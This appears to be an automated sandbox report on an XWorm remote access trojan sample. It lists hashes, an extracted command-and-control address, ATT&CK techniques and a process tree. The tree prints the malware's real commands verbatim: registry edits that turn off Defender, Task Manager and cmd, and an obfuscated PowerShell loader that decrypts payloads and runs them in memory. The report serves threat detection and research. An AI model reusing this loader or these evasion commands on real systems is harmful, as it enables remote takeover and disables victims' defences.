xworm | 8b777ba206b3be169e56502581528eb3735c758a8e3c8a0f6b4479ddfc92bb78

Analysis

max time kernel
16s
max time network
18s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18/11/2024, 02:12

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General

Target

menu.exe
Size

327KB
MD5

0f7fea309ccdc6ba53737fb6d88fcfd3
SHA1

0f3dfdcbbdb0412cbee95c87a366578da973f07b
SHA256

8b777ba206b3be169e56502581528eb3735c758a8e3c8a0f6b4479ddfc92bb78
SHA512

f123781d84ad83a885aa0a4916be9b40adb87090eb301cd9afcf652cbbfd4deaac1f91b09b616d360f1bf70dbb430a99f5226b118140e21f02d5df2deaff133e
SSDEEP

6144:4PQGXEB3uR4D7P05EkRTwEur5447h/PcHnUSFIT7JHoI0E7YPWs3kZ4sUT:4QapW/PqbTw3FcHUSFU1v0E7v43T

Score

10^/10

xworm evasion execution persistence rat trojan

Malware Config

Extracted

Family

xworm

85.209.133.220:111

Attributes

Install_directory
%Userprofile%
install_file
system.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2544-29-0x0000022777CA0000-0x0000022777CB6000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
22	2544	powershell.exe
29	2544	powershell.exe

Blocks application from running via registry modification 3 IoCs

Adds application to list of disallowed applications.

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "powershell.exe"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2544	powershell.exe

Disables Task Manager via registry modification
evasion

Disables cmd.exe use via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	menu.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system = "C:\\Users\\Admin\\system.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	menu.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2544	powershell.exe
2544	powershell.exe
2544	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	2544	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2544	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 856 wrote to memory of 5068	856	menu.exe	85
PID 856 wrote to memory of 5068	856	menu.exe	85
PID 856 wrote to memory of 1600	856	menu.exe	87
PID 856 wrote to memory of 1600	856	menu.exe	87
PID 856 wrote to memory of 4872	856	menu.exe	89
PID 856 wrote to memory of 4872	856	menu.exe	89
PID 5068 wrote to memory of 1616	5068	cmd.exe	90
PID 5068 wrote to memory of 1616	5068	cmd.exe	90
PID 1616 wrote to memory of 2276	1616	net.exe	91
PID 1616 wrote to memory of 2276	1616	net.exe	91
PID 5068 wrote to memory of 3592	5068	cmd.exe	92
PID 5068 wrote to memory of 3592	5068	cmd.exe	92
PID 5068 wrote to memory of 3288	5068	cmd.exe	93
PID 5068 wrote to memory of 3288	5068	cmd.exe	93
PID 5068 wrote to memory of 2008	5068	cmd.exe	94
PID 5068 wrote to memory of 2008	5068	cmd.exe	94
PID 5068 wrote to memory of 3680	5068	cmd.exe	95
PID 5068 wrote to memory of 3680	5068	cmd.exe	95
PID 5068 wrote to memory of 1060	5068	cmd.exe	96
PID 5068 wrote to memory of 1060	5068	cmd.exe	96
PID 5068 wrote to memory of 3976	5068	cmd.exe	97
PID 5068 wrote to memory of 3976	5068	cmd.exe	97
PID 5068 wrote to memory of 1052	5068	cmd.exe	98
PID 5068 wrote to memory of 1052	5068	cmd.exe	98
PID 5068 wrote to memory of 1584	5068	cmd.exe	99
PID 5068 wrote to memory of 1584	5068	cmd.exe	99
PID 1600 wrote to memory of 2544	1600	cmd.exe	100
PID 1600 wrote to memory of 2544	1600	cmd.exe	100

C:\Users\Admin\AppData\Local\Temp\menu.exe
"C:\Users\Admin\AppData\Local\Temp\menu.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\load.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1616
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2276
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
    3⤵
    PID:3592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    - Disables cmd.exe use via registry modification
    PID:3288
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDrives" /t REG_DWORD /d 4 /f
    3⤵
    PID:3680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer" /v "DisableMSI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "DisallowRun" /t REG_DWORD /d 1 /f
    3⤵
    - Blocks application from running via registry modification
    PID:1052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "1" /t REG_SZ /d "powershell.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:1584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\loader.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IRcHV6wpyUlV7FCq3bjBVC6HnvFYqZVt3VMM1/rthAU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ot9DBajrhd5olnzo/saVIg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DyDjK=New-Object System.IO.MemoryStream(,$param_var); $nXYTA=New-Object System.IO.MemoryStream; $riGTr=New-Object System.IO.Compression.GZipStream($DyDjK, [IO.Compression.CompressionMode]::Decompress); $riGTr.CopyTo($nXYTA); $riGTr.Dispose(); $DyDjK.Dispose(); $nXYTA.Dispose(); $nXYTA.ToArray();}function execute_function($param_var,$param2_var){ $dwlZo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $UVtXb=$dwlZo.EntryPoint; $UVtXb.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\loader.bat';$InQWi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\loader.bat').Split([Environment]::NewLine);foreach ($XQbNl in $InQWi) { if ($XQbNl.StartsWith(':: ')) { $WcJMs=$XQbNl.Substring(3); break; }}$payloads_var=[string[]]$WcJMs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2544
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\ran.vbs"
  2⤵
  PID:4872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gcrtvwnz.s5p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\load.bat

Filesize
1KB

MD5
cf08811b97cdd3d57685a7841a40e2d4

SHA1
faefa9b229e81eef5d200799c39b5db5511922d2

SHA256
7f27ffda0644c500961f965c6f403f54c41c6df7fb685020cf98f7be6fd5082c

SHA512
695e45bc85be611ca90e92ff5502a707e6ec298f31b6113be2537be78beda222d52751f090b0dda752e2880ac08c62c6d80f4fdd371b2721f1c728d9ebd1002a

Download Submit
C:\Users\Admin\AppData\Roaming\loader.bat

Filesize
291KB

MD5
d05f7937bc9eef5bf3042a8a2ecd2f08

SHA1
15230c5d5506e80ac6cecd06a21bea1a44aeef08

SHA256
b981829c3b1026c432c08bc8a65bc1a848750596e01a065bcacef49c128f7226

SHA512
42954c12e551ff742ab466b416f805d93632cafab1bd2c825b16dcb4f838d7914e61e84cf46744d081d0e6424a3afd335cd169cf8e9c0b6d83733f45eba71c95

Download Submit
C:\Users\Admin\AppData\Roaming\ran.vbs

Filesize
4KB

MD5
be03bd7bd0315142da6482ee8075f97d

SHA1
44242df82433922b5dae792842d18da1eccac112

SHA256
f245b406955a4a335f5eb76ef8e48958c55be9e7e667545e95602440c64ee9ae

SHA512
55230398878d8cbca4b14a93b9e5cae00790f845140f28c9c82c622e7bc53eb4c9875de281eb3ba280478cbecbe56eb6a1720832e9afc6607daeafb83f83e7e9

Download Submit
memory/856-0-0x00007FFBC5133000-0x00007FFBC5135000-memory.dmp

Filesize
8KB

Download
memory/856-1-0x0000000000F20000-0x0000000000F78000-memory.dmp

Filesize
352KB

Download
memory/856-5-0x00007FFBC5130000-0x00007FFBC5BF1000-memory.dmp

Filesize
10.8MB

Download
memory/856-14-0x00007FFBC5130000-0x00007FFBC5BF1000-memory.dmp

Filesize
10.8MB

Download
memory/2544-26-0x000002275D740000-0x000002275D762000-memory.dmp

Filesize
136KB

Download
memory/2544-27-0x000002275D650000-0x000002275D658000-memory.dmp

Filesize
32KB

Download
memory/2544-28-0x0000022777C40000-0x0000022777C78000-memory.dmp

Filesize
224KB

Download
memory/2544-29-0x0000022777CA0000-0x0000022777CB6000-memory.dmp

Filesize
88KB

Download